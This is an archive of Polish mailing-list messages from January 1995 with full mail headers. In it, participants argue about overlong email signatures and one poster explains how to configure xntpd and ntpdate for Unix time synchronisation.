>                          -Krzysio

A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji
(zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie
nie zasmiecac listy zbednymi informacjami?
Rowniez pozdrawiam,
Krzysztof Wroblewski
From krzysio@hebe.umcs.lublin.pl Mon Jan 16 00:51:48 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16448; Mon, 16 Jan 95 00:51:11 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA00802; Mon, 16 Jan 95 00:53:23 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501152353.AA00802@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 00:53:23 +0100 (MET)
In-Reply-To: <9501152338.AA18328@phys.ufl.edu> from "Lech Borkowski" at Jan 16, 95 00:39:50 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2456      

Lech Borkowski wrote:
> 
> > | krzysio@hebe.umcs.lublin.pl                         Krzysio         
> > i dalsze adresy...
> > Ekshibicjonizm sysopa? Daj se spokoj z tym 'fashion statement'.
> Zazdrosc czy bezmyslnosc???? :)))
> A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
> gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy
> wieczor.
> 
>                                         Pozdrawiam,
>                                            -Krzysio
> 
> ---
> 
> Estetyka. Piszesz jedna linijke tekstu, a pod nia 10 linijek
> adresow. 'smart' to na pewno nie jest.      
> 
1. Jak myslisz... w jakim celu sig zaczyna sie od "--"???
   Otoz po to, aby umozliwic Ci automatyczne odcinanie sig'ow,
   jesli akurat nie lubisz ich widziec.

2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi:
- poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie:

	Dlaczego w naszym Narodzie tak bardzo jest popularne
zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi???
Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie,
fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie
dyskusje zamiast zajac sie po prostu praca :)

					Jeszcze raz pozdrawiam
                                         z zasypanego sniegiem Lublina,

						    -Krzysio

PS.
	To chyba naprawde nie jest temat tej listy... :)
--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From krzysio@hebe.umcs.lublin.pl Mon Jan 16 00:56:48 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16520; Mon, 16 Jan 95 00:52:20 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA00809; Mon, 16 Jan 95 00:54:34 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501152354.AA00809@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 00:54:33 +0100 (MET)
In-Reply-To: <9501152332.AA16385@highresnmr.biophys.upenn.edu> from "Krzysztof Wroblewski" at Jan 16, 95 00:47:13 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1633      

Krzysztof Wroblewski wrote:
> 
> >>Niezla kolekcja - jestem pod wrazeniem ;-)
> >>
> >ale i tak nie jest pelna ;)
> >                        Pozdrawiam,
> >                          -Krzysio
> 
> A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji
> (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie
> nie zasmiecac listy zbednymi informacjami?
> Rowniez pozdrawiam,
> Krzysztof Wroblewski
> 

Jasne, ze moge..., ale czy musze? Reszta: patrz na moja odpowiedz na
posting Lecha Borkowskiego.

					Regards,
					  -Krzysio
--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From lbs@phys.ufl.edu Mon Jan 16 02:01:47 1995
Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18110; Mon, 16 Jan 95 01:58:50 +0100
Return-Path: <lbs@phys.ufl.edu>
Received:  by phys.ufl.edu (4.1/5.02)
	id AA18542; Sun, 15 Jan 95 19:39:57 EST
Date: Sun, 15 Jan 95 19:39:57 EST
From: Lech Borkowski <lbs@phys.ufl.edu>
Message-Id: <9501160039.AA18542@phys.ufl.edu>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu - nie na temat


Moze inni lubia, jak im te smieci z 10 adresami laduja na ekranie. 
Ja nie. Nie narzucam ci, co masz robic. Daje ci znac, ze jest
to uciazliwe, gdy facio rzuca jedna linijka i 10 adresami.
To by bylo na tyle.

LB
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 02:05:21 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18142; Mon, 16 Jan 95 02:02:00 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id CAA07990 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 02:03:22 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 15 Jan 1995 19:55:27 -0500
From: zbig@junior.wariat.org (Zbigniew J. Tyrlik)
Message-Id: <3fcg5v$k50@junior.wariat.org>
Organization: Akademia Pana Kleksa, Public Access Uni* Site
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501152007.AA01696@zeus.sc.cs.put.poznan.pl>
Subject: Re: Ustawianie czasu - nie na temat

In <9501152007.AA01696@zeus.sc.cs.put.poznan.pl> Janusz.Kaczmarek@CS.PUT.Poznan.PL (Janusz Kaczmarek) writes:

>> 						Pozdrawiam,
>> 						    -Krzysio
>> --
>> +--------------------------------------------------------------------+
>> | E-mail:                                         IRC:               |
>> | krzysio@hebe.umcs.lublin.pl                         Krzysio        |
>> | krzysio@eleet.mimuw.edu.pl                                         |
>> | krzysio@posejdon.kul.lublin.pl                                     |
>> | krzysio@achir.kul.lublin.pl                                        |
>> | krzysio@adam.kul.lublin.pl                                         |
>> | krzysio@laplace.informatics.sunysb.edu          Radio:             |
>> | root@hebe.umcs.lublin.pl                            SQ5ASM         |
>> | root@cool.umcs.lublin.pl                                           |
>> | root@posejdon.kul.lublin.pl                                        |
>> |                                                                    |
>> |     "You can't kill ... what was killed before ..."                |
>> |                                     - unknown vampire              |
>> +--------------------------------------------------------------------+

>Niezla kolekcja - jestem pod wrazeniem ;-)

W sam raz do alt.fan.warlord

>Janusz Kaczmarek

( a moze split personality ??? )

_zjt
-- 
Zbigniew J. Tyrlik  DoD# 0759  FJ1200 `89-Silver...  zbig@wariat.org
APK on the move    	   New Phone - 216-241-7541 active Jan 09.95
Feeds, shell, FTP, telnet, SL/IP,PPP     Uniboard distribution point 
From up678@freenet.victoria.bc.ca Mon Jan 16 03:01:48 1995
Received: from VIFA1.FREENET.VICTORIA.BC.CA by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20219; Mon, 16 Jan 95 03:01:36 +0100
Return-Path: <up678@freenet.victoria.bc.ca>
Received: (from up678@localhost) by vifa1.freenet.victoria.bc.ca (8.6.9/8.6.9) id SAA16681; Sun, 15 Jan 1995 18:04:34 -0800
Date: Sun, 15 Jan 1995 18:04:31 -0800 (PST)
From: Konrad Cedro <up678@freenet.victoria.bc.ca>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
In-Reply-To: <9501152353.AA00802@hebe.umcs.lublin.pl>
Message-Id: <Pine.2.2.9501151804.F15063@vifa1>



On Mon, 16 Jan 1995, Krzysztof Mlynarski wrote:

> > Zazdrosc czy bezmyslnosc???? :)))
> > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
> > gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy
> > wieczor.

> 1. Jak myslisz... w jakim celu sig zaczyna sie od "--"???
>    Otoz po to, aby umozliwic Ci automatyczne odcinanie sig'ow,
>    jesli akurat nie lubisz ich widziec.

> 2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi:
> - poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie:

> 	Dlaczego w naszym Narodzie tak bardzo jest popularne
> zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi???
> Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie,
> fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie
> dyskusje zamiast zajac sie po prostu praca :)

> 						    -Krzysio

Nie nudz, Krzysiu i nie wymadrzaj sie... Wszak jestes tylko Krzysiem i to
akurat brzmi adekwatnie... :)
Ciao,

Konio ;)
From wowoc@acs.ucalgary.ca Mon Jan 16 05:41:42 1995
Received: from acs7.acs.ucalgary.ca by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01145; Mon, 16 Jan 95 05:40:47 +0100
Return-Path: <wowoc@acs.ucalgary.ca>
Received: by acs7.acs.ucalgary.ca (AIX 3.2/UCB 5.64/4.03)
          id AA57034; Sun, 15 Jan 1995 21:44:10 -0700
Date: Sun, 15 Jan 1995 21:44:10 -0700
From: wowoc@acs.ucalgary.ca (Witold Owoc)
Message-Id: <9501160444.AA57034@acs7.acs.ucalgary.ca>
To: polip@zsku.p.lodz.pl
Subject: Re: Ustawianie czasu

Skoro ten co zaczal cala dyskusje, prosil o odpowiedzi prywatne.
To czemu wszyscy pisza na liste ? :-)

Witold Owoc

P.S. W srodowisku NFS gdy kilka osob pracuje nad tym samym
     projektem utrzymanie zgodnego czasu jest bardzo istotne.
     'make' moze dac rezultaty odmienne od zadanych lub
     wogole nie dzialac.
     A jesli chodzi o znalezienie komputerow z dokladnym czasem
     na sieci w Polsce, to na pewno wszyscy astronomowie maja
     swoje komputery ustawione wlasciwie - starczy zadzwonic do
     najblizszego obserwatorium. Dla np. Poznania najblizszym
     obserwatorium ze 'sluzba czasu' jest Astronomiczne
     Obserwatorium Szerokosciowe PAN-u w Borowcu k. Kornika.

--
#disclaimer "my.private.views"
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
|  wowoc@acs.ucalgary.ca                               witek         |
|  witold@enme.ucalgary.ca (chwilowo nieczynne)                      |
|  owocw@lokalna-UNIX-User-Group.ab.ca                               |
|  Witold.Owoc@tam-gdzie-pracuje.com                                 |
|  witold@kopernik.tam-gdzie-pracuje.com                             |
|  root@kopernik.tam-gdzie-pracuje.com                               |
|  witek@gosia.tam-gdzie-pracuje.com (nie polecane - PPP do domu)    |
|  root@gosia.tam-gdzie-pracuje.com                                  |
|  rozne@rozne-miejsca-gdzie-konsultuje.ca                           |
|                                                                    |
| Wspolwlasciciel Poland-L:                                          |
|  owner-poland-l@ubvm.cc.buffalo.edu                                |
|  poland-l-request@ubvm.cc.buffalo.edu                              |
|                                                                    |
|--------------------------------------------------------------------|
| The University of Calgary had no knowledge of nor in any           |
| way gave its consent to the transmission of this message.          |
|--------------------------------------------------------------------|
| Views present above are not views belonging to                     |
| any of my employers past, present or future.                       |
+--------------------------------------------------------------------+
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 09:46:44 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04067; Mon, 16 Jan 95 09:42:01 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14362 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 09:30:52 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 08:14:30 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3fd9t6$78l@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501152332.AA16385@highresnmr.biophys.upenn.edu>
Subject: Re: Ustawianie czasu - nie na temat

Krzysztof Wroblewski (chris@highresnmr.biophys.upenn.edu) wrote:
> >>Niezla kolekcja - jestem pod wrazeniem ;-)
> >ale i tak nie jest pelna ;)
> >                          -Krzysio
> A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji
> (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie
> nie zasmiecac listy zbednymi informacjami?

Taki sig niesie bardzo wiele pozytecznych informacji. Jeden rzut oka
(no moze dwa, bo czasem sie nie zmiesci na stronie) i mozna sie wiele
domyslec o wlascicielu.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 10:05:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04878; Mon, 16 Jan 95 10:01:58 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA14729 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 09:51:15 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 08:30:12 GMT
From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski)
Message-Id: <3fdaqk$nn5@galaxy.uci.agh.edu.pl>
Organization: Cracow University of Technology
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl>, <3f9f7a$ng4@Waldemar.mat.uni.torun.pl>
Subject: Re: Regulowanie czasu

Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote:
: Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
: > S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote:
: > : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?
: > Wg hejnalu z Wiezy Mariackiej :-)
: > Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund,
: > jesli "drift" na moim Sunie wynosi nawet do 20s dziennie?

: To tym bardziej potrzebujesz go ustawiac. Pusc xntpd lub ntpdate (to drugie
: z crona raz na godzine).

Sciagnalem ci ja sobie ostatnio dystrybucje xntp,
lacznie z klientem dla MS Widows, i mam malych pare pytan:

1)czy ktos z was tego uzywa, i wie jak to to skonfigurowac (RTFM ?!?)
2)czy ktos z was tego nawet nie uzywa, ale wie gdzie sa jakies rozsadnie 
 bliskie ogolno dostepne time servery, bo zdaje sie, ze xntpd lubi sie komunikowac ze swiatem

sorry, jesli uznacie to za FAQ, ale przynajmniej na pytanie 2 odpowiedzi w 
dokumentacji nie znalazlem :(

		Marcin;)

--
------------------------------------------------------------------------------
Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek
WWW home page -  http://www.pk.edu.pl/~marcin - still under construction......
------------------------------------------------------------------------------
		 	YOUR bus ALWAYS ARRIVES LATER :(
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 12:26:45 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06988; Mon, 16 Jan 95 12:21:54 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA16988 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 12:17:39 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 11:40:16 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fdieg$e07@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501160444.AA57034@acs7.acs.ucalgary.ca>
Subject: Re: Ustawianie czasu

Witold Owoc (wowoc@acs.ucalgary.ca) wrote:
: --
: #disclaimer "my.private.views"
: +--------------------------------------------------------------------+
: | E-mail:                                         IRC:               |
: |  wowoc@acs.ucalgary.ca                               witek         |
: |  witold@enme.ucalgary.ca (chwilowo nieczynne)                      |
: |  owocw@lokalna-UNIX-User-Group.ab.ca                               |
: |  Witold.Owoc@tam-gdzie-pracuje.com                                 |
: |  witold@kopernik.tam-gdzie-pracuje.com                             |
: |  root@kopernik.tam-gdzie-pracuje.com                               |
: |  witek@gosia.tam-gdzie-pracuje.com (nie polecane - PPP do domu)    |
: |  root@gosia.tam-gdzie-pracuje.com                                  |
: |  rozne@rozne-miejsca-gdzie-konsultuje.ca                           |

Czy mi sie zdaje, czy ktos sie tu z kogos nabija? ;-) BTW. Ja, zeby uzyc 
.sig na 6 linijek, musialem najpierw zrobic krzywde INN (bo nie chcial
akceptowac .sig dluzszego niz 4 linie). Albo inni uzywaja innego "news 
software", albo korzystaja z polipa przez e-mail, albo zrobili to samo... :-)

--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 12:26:54 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06991; Mon, 16 Jan 95 12:21:56 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA16860 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 12:07:39 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 10:57:41 GMT
From: rzm@dain.erlm.siemens.de (Rafal Maszkowski)
Message-Id: <3fdjf5$78l@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3f87sn$6bk@galaxy.uci.agh.edu.pl>, <3f9f7a$ng4@Waldemar.mat.uni.torun.pl>, <3fdaqk$nn5@galaxy.uci.agh.edu.pl>
Subject: Re: Regulowanie czasu

Marcin Klimowski (marcin@pk-siec.oeto.pk.edu.pl) wrote:
> Sciagnalem ci ja sobie ostatnio dystrybucje xntp,
> lacznie z klientem dla MS Widows, 

To on nie zyje? Bardzo milo...

>i mam malych pare pytan:
> 1)czy ktos z was tego uzywa, i wie jak to to skonfigurowac (RTFM ?!?)

Kiedys synchronizacja czasu byla potrzebna w obserwatorium. Zaden
komputer nie jest podlaczony bezposrednio do zegara atomowego wiec
najprosciej bylo puscic xntpd. Konfiguracja jest dosc prosta (mam
nadzieje, ze w ciagu 2 lat nie zmienilo sie nic w formatach i opcjach).
Do rc mozna dopisac cos jak:

# te dwie linie tylko dla HP - adjtime impaired
/usr/local/etc/adjtimed
sleep 1
#/usr/local/etc/ntpdate ntp2.chalmers.se (129.16.1.1)
/usr/local/etc/ntpdate chalmers.se
/usr/local/etc/xntpd -c /usr/local/etc/xntp.conf

Widac od razu jak wolac ntpdate. xntpd potrzebuje xntp.conf, ktory
wyglada u mnie tak:

peer 129.16.9.9         # ntp1.chalmers.se = nyheter.chalmers.se
peer 129.16.1.1         # ntp2.chalmers.se = chalmers.se
driftfile /etc/ntp.drift

Jezeli sie uzywa xntpd to uzyteczny jest tez program ntpq, np.:

rzm@dain:~,0# ntpq -p anna.mat.uni.torun.pl
     remote           refid      st t when poll reach   delay   offset    disp
==============================================================================
+tardis-eth-etz- err.ethz.ch      2 u  383  512  377   950.73   -5.403   54.99
#lucifer.informa .GPS.            1 u    8  256  145  1426.45  -11.167  339.83
 NS.SURFNET.NL   0.0.0.0         16 -    - 1024    0     0.00    0.000 16000.0
+slc1.cc.uni.tor ss10.cc.uni.tor  3 u   44  128  356     3.62    6.856   19.93
 LOCAL(5)        LOCAL(1)         5 l    1   64  377     0.00    0.000  200.00
+ss10.cc.uni.tor lucifer.informa  2 u    1  256  251   -33.66   -6.234  281.10
-ocelot.mat.uni. ss10.cc.uni.tor  3 u    1  128  377    -6.65  146.980   46.45

> 2)czy ktos z was tego nawet nie uzywa, ale wie gdzie sa jakies rozsadnie 
>  bliskie ogolno dostepne time servery, bo zdaje sie, ze xntpd lubi sie komunikowac ze swiatem

Lista serwerow jest w osobnym pliku w ftp://louie.udel.edu/pub/ntp .
Powyzej widac jakie uzywa Inst. Matematyki UMK - nie wiem czy najlepsze
mozliwe. Gdzies w dokumentacji widzialem prosbe zeby skontaktowac sie z
administratorem przed podczepieniem.  Zapewne ma to na celu koordynacje
wiec warto napisac.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 13:46:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09186; Mon, 16 Jan 95 13:41:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA17948 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 13:27:40 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 12:22:05 GMT
From: michalj@fuw.edu.pl (Michal Jankowski)
Message-Id: <MICHALJ.95Jan16132205@ccfs1.fuw.edu.pl>
Organization: Warsaw University, Physics Department
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501160444.AA57034@acs7.acs.ucalgary.ca>, <3fdieg$e07@galaxy.uci.agh.edu.pl>
Subject: Re: Ustawianie czasu

>>>>> "Szymon" == Szymon Sokol <szymon@uci.agh.edu.pl> writes:

Szymon> zeby uzyc .sig na 6 linijek, musialem najpierw zrobic krzywde
Szymon> INN (bo nie chcial akceptowac .sig dluzszego niz 4
Szymon> linie). Albo inni uzywaja innego "news software", albo
Szymon> korzystaja z polipa przez e-mail, albo zrobili to samo... :-)

A moze zamiast robic komputerowi krzywde, nie umieszczac w listach
podpisow na iles tam linijek?

Moj adres zwrotny jest w naglowku, a jesli komus zechce podac telefon
lub adres 'uliczny', to podam w tresci. A listy podpisuje, jak widac.

  MJ
From @plearn.edu.pl,@ch.ae.poz.edu.pl:KERIK@novci2.ae.poz.edu.pl Mon Jan 16 13:50:24 1995
Received: from [148.81.18.1] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09274; Mon, 16 Jan 95 13:46:52 +0100
Return-Path: <@plearn.edu.pl,@ch.ae.poz.edu.pl:KERIK@novci2.ae.poz.edu.pl>
Received: from uci1.ae.poz.edu.pl by plearn.edu.pl (IBM VM SMTP V2R1) with TCP;
   Mon, 16 Jan 95 13:42:41 CET
Received: from ch.ae.poz.edu.pl by uci1.ae.poz.edu.pl
	id aa07100; Mon, 16 Jan 95 13:35:10 CET
Received: From NOVCI1/WORKQ by ch.ae.poz.edu.pl
          via Charon 3.4 with IPX id 100.950116133147.384;
          16 Jan 95 13:32:57 +0100
Message-Id: <MAILQ-101.950116134149.320@novci2.ae.poz.edu.pl>
From: Kerrrrrik  <KERIK@novci2.ae.poz.edu.pl>
Organization:  Akademia Ekonomiczna, Poznan, PL
To: polip@zsku.p.lodz.pl
Date:          Mon, 16 Jan 1995 13:41:49 GMT-1
Subject:       Re: Ustawianie czasu - nie na temat
Priority: normal
X-Mailer:     PMail v3.0 (R1a)

Mam tylko bardzo male pytanie a'propos tej przydlugiej listy:
        Krzysio powiedzial, ze po -- mozna reszte odciac.. Jak??

Uzywam p-mail'a.

Czasami wizytowki sa zabawne i smieszne, ale tylko wtedy, gdy 
zawieraja w sobie cos interesujacego, a nie tylko 'gola' liste 
adresow.. Apropos - Krzysiu, jak masz tyle kont, to czy nie jest to 
troszeczke czaso- i pracochlonne codzienne ogladanie poczty na kazdym 
z nich?        
Ja jestem wygodny - kont mam kilka a poczte tylko na jednym..

                Pozdrowienia

                                                Kerik
                                          (Ireneusz Wasiak)
From muhlig@usctoux1.cto.us.edu.pl Mon Jan 16 14:05:27 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA10376; Mon, 16 Jan 95 14:01:46 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Received: by usctoux1.cto.us.edu.pl id aa08426; 16 Jan 95 14:05 MET
Subject: sygnatura Krzysia
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 08:09:44 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <9501152353.AA00802@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 16, 95 00:56:52 am
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 989       
Message-Id:  <9501160811.aa19328@usctoux1.cto.us.edu.pl>

Krzysztof Mlynarski wrote:

> > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
> 
> PS.
> 	To chyba naprawde nie jest temat tej listy... :)

A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig.
Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum
4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje
skrocic). Policz sobie, ile bajtow przesylaloby sie dodatkowo i zbednie
przez linie, gdyby kazdy mail byl uzupelniany 1 kilobajtem sygnatury...
A niektorzy (a wlasciwie wszyscy) placa za czytanie maili.

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From krzysio@hebe.umcs.lublin.pl Mon Jan 16 15:46:47 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12747; Mon, 16 Jan 95 15:45:12 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA01979; Mon, 16 Jan 95 15:47:33 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501161447.AA01979@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 15:47:32 +0100 (MET)
In-Reply-To: <Pine.2.2.9501151804.F15063@vifa1> from "Konrad Cedro" at Jan 16, 95 03:04:52 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1880      

Konrad Cedro wrote:
> 
> > 2. Ja jeszcze wroce do starego watku z mojej poprzdniej odpowiedzi:
> > - poruszajac temat mojego sig'a znow nasunales mi moje stare pytanie:
> 
> > 	Dlaczego w naszym Narodzie tak bardzo jest popularne
> > zajmowanie sie czyimis sprawami, zamiast swoimi wlasnymi???
> > Stale kogos interesuje, czy kolega/kolezanka ma ladne spodnie,
> > fryzure, uszy :), sig'a itd.... Czesto tracimy czas i pieniadze na takie
> > dyskusje zamiast zajac sie po prostu praca :)
> 
> > 						    -Krzysio
> 
